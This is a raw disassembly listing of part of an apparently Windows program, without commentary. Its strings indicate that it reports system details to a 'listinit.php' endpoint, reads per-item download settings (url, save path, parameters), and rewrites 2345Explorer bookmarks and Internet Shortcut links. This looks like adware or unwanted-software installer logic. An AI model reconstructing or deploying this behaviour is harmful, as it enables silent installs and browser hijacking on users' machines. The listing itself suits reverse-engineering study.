call fcn.004073f5
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x402a33
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402a46
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [0x429617]
test ebx, ebx
je 0x402a60
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [0x429617], eax
push OleUIBusyA
push 0
mov eax, dword [0x429617]
test eax, eax
jne 0x402a7b
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x130
call fcn.0040ab30
add esp, 0x10
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x46
jle 0x402af7
push OleUIBusyA
push 0
mov eax, dword [0x429617]
test eax, eax
jne 0x402ab6
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.CODE
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x402ae4
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
push 0x80000301
push 0
push dword [0x429607]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push dword [0x4295fb]
push str.mark
push dword [0x42960b]
push str.mid
push dword [0x4295f7]
push str.ver
push dword [ebp - 0x1c]
push dword [ebp - 0x58]
push str.bit
push dword [0x429613]
push str.osver
push dword [0x4295f3]
push str.listinit.php_src
push dword [0x4295ef]
mov ecx, 0xe
call fcn.0040106b
add esp, 0x38
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402b8d
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x402ba4
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 5
jg 0x402d2d
lea eax, [ebp - 0x2c]
push eax
call fcn.0040494d
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x402bda
mov eax, 0x427396
push eax
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402c06
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x402c1d
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push OleUIBusyA
push 0
push str.success
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x402c52
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x148
call fcn.0040a620
add esp, 0x34
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jle 0x402d09
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x402cb0
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.update
push OleUIBusyA
push 0
push str.system
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x402cde
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402d04
push ebx
call fcn.00409473
add esp, 4
jmp 0x402d2d
push 0x80000301
push 0
push 0x2710
push 1
mov ebx, 0x67c
call fcn.00409970
add esp, 0x10
pop ecx
jmp 0x402baa
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
push 1
mov eax, str.soft
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x402d7d
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x38], eax
mov ebx, dword [0x42961b]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402da7
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402da3
imul eax, dword [ebx]
jmp 0x402d98
mov ecx, eax
test ecx, ecx
je 0x402dfe
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402dc5
push ebx
call fcn.00409473
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402dd9
push ebx
call fcn.00409473
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402ded
push ebx
call fcn.00409473
add esp, 4
pop ebx
call fcn.00409473
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402dad
call fcn.00409473
add esp, 4
mov eax, 0x427396
mov dword [0x42961b], eax
mov eax, dword [ebp - 0x38]
xor ecx, ecx
push eax
lea eax, [ebp - 0x3c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4037b1
mov ebx, dword [ebp - 0x40]
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.id
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x402ead
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x402eed
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x402f03
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x402f2f
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x58]
cmp dword [ebx], 1
jge 0x402f5a
jmp 0x4037a9
mov ebx, dword [ebp - 0x40]
add ebx, 8
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.url
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x402fe0
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x403020
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x58]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40303c
push ebx
call fcn.00409473
add esp, 4
pop eax
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
add ebx, 4
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.save
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4030cb
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x40310b
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x58]
mov ebx, dword [ebx]
test ebx, ebx
je 0x403127
push ebx
call fcn.00409473
add esp, 4
pop eax
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
add ebx, 0x10
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.param
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4031b6
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x4031f6
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x58]
mov ebx, dword [ebx]
test ebx, ebx
je 0x403212
push ebx
call fcn.00409473
add esp, 4
pop eax
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
add ebx, 0xc
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.sys
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4032a1
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x4032e1
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4032f7
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x403323
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
add ebx, 0x14
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.wow64
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4033b7
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x4033f7
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40340d
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x403439
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
add ebx, 0x14
mov dword [ebp - 0x58], ebx
mov ebx, dword [ebp - 0x58]
cmp dword [ebx], 0
jle 0x403486
mov ebx, dword [ebp - 0x40]
add ebx, 0x14
mov dword [ebp - 0x58], ebx
mov eax, dword [0x429607]
mov ebx, dword [ebp - 0x58]
cmp dword [ebx], eax
je 0x403486
jmp 0x4037a9
mov ebx, dword [ebp - 0x40]
add ebx, 0x18
mov dword [ebp - 0x58], ebx
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
fsub qword [0x4273f6]
fstp qword [ebp - 0x68]
push 0x80000601
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x6c], eax
push str._.dates
push dword [ebp - 0x6c]
push str.soft_
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x40350c
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x40354c
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x403562
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40358e
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x58]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x40]
mov dword [ebp - 0x58], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x58]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x5c], eax
push OleUIBusyA
push 0
push 0x42731e
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4035ee
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.soft
push OleUIBusyA
push 0
mov eax, dword [0x4295eb]
test eax, eax
jne 0x403610
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x40363c
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x403652
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x9dc
call fcn.0040a540
add esp, 0x10
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x40367e
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x40]
add ebx, 0x18
mov dword [ebp - 0x68], ebx
mov ebx, dword [ebp - 0x68]
mov eax, dword [ebx]
cmp dword [ebp - 0x64], eax
jl 0x4036a3
jmp 0x4037a9
push 0x42961b
push 4
mov eax, 2
call fcn.004097f0
add esp, 8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x58], eax
mov ebx, dword [0x42961b]
mov dword [ebp - 0x5c], ebx
call fcn.004012f1
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4036f6
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00409479
add esp, 8
mov dword [0x42961b], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
push eax
push 0x1c
call fcn.0040946d
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x40375e
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.0040946d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x40377d
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.0040946d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x40379e
push eax
mov ebx, eax
call fcn.00401000
inc eax
push eax
call fcn.0040946d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x402e1c
add esp, 0xc
mov ebx, dword [0x42961b]
call fcn.00401311
mov dword [0x42961f], eax
cmp dword [0x42961f], 0
jle 0x4037dc
push dword [0x42961f]
call fcn.004075a1
push 0
mov ebx, 0x104
call fcn.004098d0
add esp, 4
mov dword [ebp - 0x58], eax
push str.Bookmarks
push dword [ebp - 0x58]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403825
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40383b
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x24c
call fcn.0040ab50
add esp, 0x10
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x403867
push ebx
call fcn.00409473
add esp, 4
cmp dword [ebp - 0x60], 0
je 0x403a62
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.0040ab60
add esp, 0x10
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4038af
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], esp
push dword [ebp - 0x44]
push 0xff
call dword [0x429627]
nop
nop
nop
nop
cmp dword [ebp - 0x58], esp
je 0x4038e0
push 6
call fcn.0040945b
add esp, 4
lea eax, [ebp - 0x44]
push eax
call fcn.004043b6
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x403906
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.0040132a
push OleUIBusyA
push 0
push str.2345ExplorerUser_DataDefaultBookmarks
push OleUIBusyA
push 0
push str.Temp
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x40394b
mov eax, 0x4272f9
push eax
push 6
mov ebx, 0x180
call fcn.0040aba0
add esp, 0x4c
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x40397b
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x403992
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x24c
call fcn.0040ab50
add esp, 0x10
test eax, eax
je 0x403a62
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x4039c0
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x244
call fcn.0040adf0
add esp, 0x10
push 0
mov ebx, 0x104
call fcn.004098d0
add esp, 4
mov dword [ebp - 0x58], eax
push str.Bookmarks
push dword [ebp - 0x58]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403a1c
push ebx
call fcn.00409473
add esp, 4
mov dword [ebp - 0x60], esp
push 2
push dword [ebp - 0x44]
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
cmp dword [ebp - 0x60], esp
je 0x403a4f
push 6
call fcn.0040945b
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x403a62
push ebx
call fcn.00409473
add esp, 4
push 0
mov ebx, 0x104
call fcn.004098d0
add esp, 4
mov dword [ebp - 0x58], eax
push str.Script.spt
push dword [ebp - 0x58]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403aab
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403ac2
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x48], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403ad9
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x24c
call fcn.0040ab50
add esp, 0x10
test eax, eax
je 0x403fb6
push str.Links_
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403b26
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 4], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403b3d
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x268
call fcn.0040ae00
add esp, 0x10
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403b6d
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x403b84
mov eax, 0x427396
push eax
push 1
mov ebx, 0x194
call fcn.0040ae70
add esp, 0x10
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004085d3
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403bb4
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x244
call fcn.0040adf0
add esp, 0x10
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x403bda
mov eax, 0x427396
push eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403bee
mov eax, 0x4272f9
push eax
push 2
mov ebx, 0x26c
call fcn.0040ae80
add esp, 0x1c
xor ecx, ecx
lea eax, [ebp - 0x3c]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 0x64
jg 0x403f8d
push 0x80000301
push 0
push dword [ebp - 0x3c]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push dword [ebp - 0x58]
push 0x427597
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403c69
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
push 0x4272f9
push OleUIBusyA
push 0
push 0x42759b
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x403c97
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403cab
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x403cd7
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x403cee
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x50], eax
push 0x80000301
push 0
push dword [ebp - 0x3c]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x58], eax
push dword [ebp - 0x58]
push 0x427597
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403d45
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
push 0x4272f9
push OleUIBusyA
push 0
push 0x42759d
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x403d73
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403d87
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8c8
call fcn.0040a140
add esp, 0x34
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x403db3
push ebx
call fcn.00409473
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x403dca
push ebx
call fcn.00409473
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0x4272f9
push dword [ebp - 0x50]
call fcn.00401254
add esp, 8
cmp eax, 0
je 0x403e07
push 0x4272f9
push dword [ebp - 0x54]
call fcn.00401254
add esp, 8
cmp eax, 0
je 0x403e07
mov eax, 1
jmp 0x403e09
xor eax, eax
test eax, eax
je 0x403f86
push 0x42759f
push dword [ebp - 0x50]
push dword [ebp - 4]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x58], eax
push 0x80000301
push 0
push dword [ebp - 0x3c]
push 1
mov ebx, 0x168
call fcn.0040a270
add esp, 0x10
mov dword [ebp - 0x5c], eax
push dword [ebp - 0x5c]
push 0x4275a4
mov ecx, 2
call fcn.0040106b
add esp, 8
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x403e82
push ebx
call fcn.00409473
add esp, 4
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x403e98
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push str.Prop3
push OleUIBusyA
push 0
push str.000214A0_0000_0000_C000_000000000046
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x403ec7
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403eed
push ebx
call fcn.00409473
add esp, 4
